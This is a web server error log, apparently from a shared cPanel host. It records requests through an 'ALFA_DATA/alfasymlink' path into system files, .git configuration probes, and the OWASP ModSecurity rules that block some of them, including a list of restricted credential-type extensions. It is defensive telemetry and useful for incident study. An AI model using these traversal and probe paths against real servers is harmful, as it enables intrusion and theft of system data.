[Sun Oct 25 16:04:26.490690 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 54.157.99.244:38538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:03/physical_node/rescan
[Sun Oct 25 16:04:34.494784 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 54.162.69.192:23993] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:04:38.570520 2026] [core:error] [pid 2889267:tid 2889267] (13)Permission denied: [client 54.145.82.217:61183] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/uartclk
[Sun Oct 25 16:04:42.910817 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 44.210.204.255:46372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:02.591913 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 35.169.119.108:40968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:10.577768 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 185.191.171.9:49942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:14.552451 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 52.4.238.8:47820] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:22.697593 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 52.73.142.41:38303] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:30.663205 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 54.156.55.147:49307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:34.693601 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 54.87.62.248:22590] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:38.736027 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 98.83.72.38:2553] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:42.609986 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 23.21.250.48:64106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:05:46.581125 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 34.225.138.57:61882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:06:06.769404 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 3.229.164.203:18289] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:06:14.734972 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 54.197.114.76:4711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:06:15.909469 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5hKz03oOY3EiI_RmqmzgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:06:15.909549 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5hKz03oOY3EiI_RmqmzgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:06:26.799370 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 54.147.182.90:23819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:06:42.856202 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 52.205.113.104:54011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:06:46.755176 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 18.205.91.101:62102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:06:50.802913 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 34.236.135.14:23785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:06:54.835675 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 54.243.63.52:48297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:06:58.734578 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 52.71.216.196:7990] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:07:11.655909 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 18.208.11.93:56215] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:07:14.916768 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 54.83.240.58:41998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:07:16.423424 2026] [security2:error] [pid 2889357:tid 2889357] [client 16.216.88.173:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at5hdFMMoJX_Woh2jbKcVwAAAEk"]
[Sun Oct 25 16:07:16.423923 2026] [security2:error] [pid 2889357:tid 2889357] [client 16.216.88.173:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at5hdFMMoJX_Woh2jbKcVwAAAEk"]
[Sun Oct 25 16:07:16.424270 2026] [security2:error] [pid 2889357:tid 2889357] [client 16.216.88.173:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at5hdFMMoJX_Woh2jbKcVwAAAEk"]
[Sun Oct 25 16:07:29.902338 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 52.6.5.24:37525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:07:38.307629 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 85.208.96.209:32908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/partial
[Sun Oct 25 16:07:39.161356 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 54.167.32.123:56318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource4
[Sun Oct 25 16:07:40.881658 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 185.191.171.3:24980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/poison
[Sun Oct 25 16:07:43.195044 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 34.224.132.215:15790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:07:46.951822 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 3.221.50.71:35289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty4/subsystem/ptmx/subsystem/ttyS1/device/tty/ttyS0/io_type
[Sun Oct 25 16:07:51.009031 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 52.3.26.180:38754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:07:54.844585 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 3.216.227.216:57187] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:03.103897 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 3.93.98.99:60124] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:06.263951 2026] [authz_core:error] [pid 2893298:tid 2893298] [client 45.198.224.125:55724] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 16:08:07.146275 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 3.235.215.92:34882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:11.065097 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 52.203.65.83:13011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:19.040218 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 44.205.192.249:29372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/driver/unbind
[Sun Oct 25 16:08:23.402337 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 34.230.124.21:58367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:23.569194 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 85.208.96.199:52320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:27.013816 2026] [ssl:error] [pid 2893744:tid 2893744] (22)Invalid argument: [client 23.22.105.143:18299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:31.066883 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 34.225.87.80:52350] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:35.080867 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 54.243.63.52:44796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:47.084548 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 18.235.158.19:20171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:08:51.329674 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 3.216.227.216:26669] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/thermal_cooling/device/physical_node/crash_notes
[Sun Oct 25 16:08:59.760808 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 34.231.45.47:7204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:09/eject
[Sun Oct 25 16:09:19.492448 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 34.226.89.140:48895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup6/device/eject
[Sun Oct 25 16:09:23.156319 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 44.210.204.255:40940] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:09:39.397709 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 52.2.58.41:28826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:09:47.379727 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 184.73.35.182:54940] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:09:51.453293 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 3.229.2.217:52021] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:09:58.789381 2026] [security2:error] [pid 2892941:tid 2892941] [client 43.159.135.203:50058] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/207"] [unique_id "at5iFo_6Zws9Q6DNmzOdjAAAAAQ"]
[Sun Oct 25 16:10:16.615890 2026] [ssl:error] [pid 2893742:tid 2893742] (5)Input/output error: [client 52.2.191.202:29904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:10:19.495131 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 34.205.163.103:16594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:10:24.549882 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 3.213.85.234:30137] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:10:31.401212 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 52.6.232.201:65532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:00.0/rescan
[Sun Oct 25 16:10:35.554929 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 54.156.248.117:53106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:10:47.558377 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 44.207.207.36:39137] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:10:51.404034 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 52.4.76.156:43833] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/resource4
[Sun Oct 25 16:11:03.557285 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 18.235.81.246:64678] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:11:19.580738 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 34.239.197.197:44040] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:11:27.762980 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 44.221.37.41:25621] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:11:31.825195 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 184.73.47.24:43442] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:11:35.536110 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 52.2.191.202:9072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:11:43.766440 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 3.216.227.216:48011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:11:48.803060 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 18.214.238.178:27604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:11:51.883798 2026] [ssl:error] [pid 2893743:tid 2893743] (70014)End of file found: [client 3.226.106.93:46509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:03.618138 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 52.1.157.90:27205] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:12.711143 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 18.213.102.186:37176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:15.855320 2026] [ssl:error] [pid 2893743:tid 2893743] (70014)End of file found: [client 98.82.59.253:60119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:19.872715 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 98.82.39.241:12246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:23.670792 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 54.89.90.224:2714] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:27.676500 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 98.82.107.102:22195] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/event3/subsystem/input4/device/driver/module/uevent
[Sun Oct 25 16:12:31.860433 2026] [ssl:error] [pid 2893743:tid 2893743] (70014)End of file found: [client 44.223.193.255:5516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:35.782851 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 35.169.102.85:15825] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:44.102802 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 44.223.116.180:39924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:47.762400 2026] [ssl:error] [pid 2893743:tid 2893743] (70014)End of file found: [client 44.221.180.179:14298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:51.344429 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 185.191.171.7:57366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/total_objects
[Sun Oct 25 16:12:51.797578 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 52.3.156.186:47268] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:54.235777 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 185.191.171.2:23312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:12:59.782962 2026] [ssl:error] [pid 2893742:tid 2893742] (70014)End of file found: [client 34.239.85.139:39140] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:01.703870 2026] [security2:error] [pid 2885088:tid 2885088] [client 185.191.171.13:18292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/moodle30/php71/"] [unique_id "at5izYmi8ug6M5pAwucc-AAAAAI"]
[Sun Oct 25 16:13:01.703921 2026] [security2:error] [pid 2885088:tid 2885088] [client 185.191.171.13:18292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/moodle30/php71/"] [unique_id "at5izYmi8ug6M5pAwucc-AAAAAI"]
[Sun Oct 25 16:13:12.087265 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 23.21.228.180:13642] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:15.787289 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 52.1.106.130:62179] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:20.335679 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 18.213.240.226:46893] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:23.832888 2026] [ssl:error] [pid 2893743:tid 2893743] (70014)End of file found: [client 54.83.240.58:6950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:27.947792 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 18.213.70.100:63338] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:31.907120 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 3.211.181.86:38793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:39.886758 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 44.206.65.8:44488] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:47.837102 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 34.225.24.180:64517] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:51.899033 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 18.204.89.56:44337] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:13:52.528389 2026] [security2:error] [pid 2887586:tid 2887586] [client 172.71.126.208:13084] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5jAHWAJkvYyuEsFoLIAAAAABc"]
[Sun Oct 25 16:13:52.528737 2026] [security2:error] [pid 2887586:tid 2887586] [client 172.71.126.208:13084] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5jAHWAJkvYyuEsFoLIAAAAABc"]
[Sun Oct 25 16:13:52.529041 2026] [security2:error] [pid 2887586:tid 2887586] [client 172.71.126.208:13084] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5jAHWAJkvYyuEsFoLIAAAAABc"]
[Sun Oct 25 16:13:55.298658 2026] [security2:error] [pid 2893744:tid 2893744] [client 54.184.226.94:7871] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/HEAD"] [unique_id "at5jA7wNC6PiuUzHLh6dEgAAAAs"], referer: https://sucuri.net
[Sun Oct 25 16:13:55.318174 2026] [security2:error] [pid 2893744:tid 2893744] [client 54.184.226.94:7871] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/HEAD"] [unique_id "at5jA7wNC6PiuUzHLh6dEgAAAAs"], referer: https://sucuri.net
[Sun Oct 25 16:13:55.342680 2026] [security2:error] [pid 2893744:tid 2893744] [client 54.184.226.94:7871] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at5jA7wNC6PiuUzHLh6dEgAAAAs"], referer: https://sucuri.net
[Sun Oct 25 16:13:55.836692 2026] [ssl:error] [pid 2893298:tid 2893298] (5)Input/output error: [client 35.168.238.50:33793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:03.878079 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 52.21.62.139:32193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:07.867613 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 18.214.238.178:5896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:11.808543 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 3.215.221.125:3894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:15.756321 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 98.83.10.183:13957] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:19.784599 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 3.210.114.189:11214] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:23.704609 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 3.93.253.174:4119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:27.617915 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 18.209.137.234:33158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:31.572937 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 44.212.131.50:36170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:35.749689 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 52.204.89.12:35530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource0_wc
